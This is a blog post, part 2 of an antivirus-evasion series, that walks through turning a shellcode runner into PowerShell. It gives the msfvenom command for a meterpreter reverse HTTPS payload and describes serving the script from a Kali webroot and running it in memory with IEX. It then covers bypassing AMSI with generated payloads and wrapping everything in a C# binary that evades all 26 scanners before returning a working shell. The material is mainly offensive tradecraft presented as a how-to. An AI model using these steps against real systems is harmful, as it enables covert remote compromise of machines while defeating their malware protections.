AV Evasion Part 2, The disk is lava
26 May 2021Welcome back to the blog!
If you haven’t read part 1 of the AV Evasion series, you can find it here. The plan for this post is to show ways to beat signature detection and some AMSI bypasses to reach a low detection rate. If that sounds interesting, let’s Hop to it.
The beautiful thing about .NET is how portable it is. Microsoft is really good about integration throughout their entire ecosystem. This also gives attackers more attack surface to take advantage of. An example of this is transforming our original payload to PowerShell.
We can import kernel32.dll from our original payload by importing it as a type as shown below.
With Kernel32.dll loaded in our PowerShell runspace, we are free to invoke our shellcode runner. If the following functions do not make sense, I urge you to reread part 1 for a deeper explanation of VirtualAlloc,WaitForSingleObject, and CreateThread. Sample code is shown below. A clever reader will notice we are missing our fancy Array.Reverse() method. We have another nifty bypass and its not needed. Stay tuned to find out why.
Finally, we can create new shellcode with msfvenom -p windows/x64/meterpreter/reverse_https lhost=eth0 lport=443 -f ps1
and paste it above our $size variable.
Let’s test our PowerShell Shellcode runner by invoking it with IEX over http traffic. I have named the powershell script local.txt
and have added it to /var/www/html/
webroot in Kali. Let’s pull it with System.Net.Webclient and invoke with IEX
Drats!!!!
it appears AMSI picked up our script. To continue, we will need to understand how AMSI operates.
AMSI, or AntiMalware Scan Interface, is a newish Antivirus technology from Microsoft that scans for malicious activity in memory. At the time of writing this, AMSI is integrated into PowerShell, WScript, CScript, and DotNet executables. I plan on doing a deeper dive discussion on ‘patching’ in a future post, so we won’t get super in depth with this yet. At a high level, once PowerShell is invoked, amsi.dll is injected into the process and executed. AMSI_Scan_Buffer is then used to scan for malicious activity. Because of the way AMSI is currently implemented, the namespace can also patch back into it. Matt Graber wrote the original AMSI bypass for patching the Scan Buffer function to all return clean here. This has been ‘fixed’ by Microsoft by adding that as a known malicious signature. As we saw in part 1, signature detection isn’t very good and can be bypassed fairly easily. The site amsi.fail was setup to create amsi bypasses. We can easily pull down a payload and get around AMSI to allow our script to run. We will need to keep trying payloads in PowerShell until one works as intended.
We now have a functioning AMSI bypass, with that in place. We can run our ShellCode Runner as intended. Make sure to Enable Stage Encoding in MSF or it will get flagged by AV after dropping the second stage meterpreter shell.
Back to C#
Microsoft really loves integration, so it makes sense that we can invoke PowerShell within our C# app. A quick google search fetches us the official MS doc on how to invoke Powershell in C#. Let’s create a new C# project and add the exact commands listed in the documentation. For this to work, a Reference will need added to Visual Studio with the dll path at c:\Windows\assembly\GAC_MSIL\System.Management.Automation...
The full code can be seen below for our new PowerShell invoking binary. I like to use Raika’s Hub to encode our required PowerShell commands to one line for ease of execution.
Let’s build and test our new application against AntiScan.me 0/26 detections. This is due to our small application calling other methods outside of the binary and pulling the values straight into memory. We have erased all malicious signatures from the binary. Since we stripped AMSI from the binary as well, in-memory protections have decreased as well. Let’s execute the payload on our client to test the result in real time.
We indeed get a working shell.
This includes AV Evasion Part 2. Share the post if you liked it and I Hop to see everyone next time.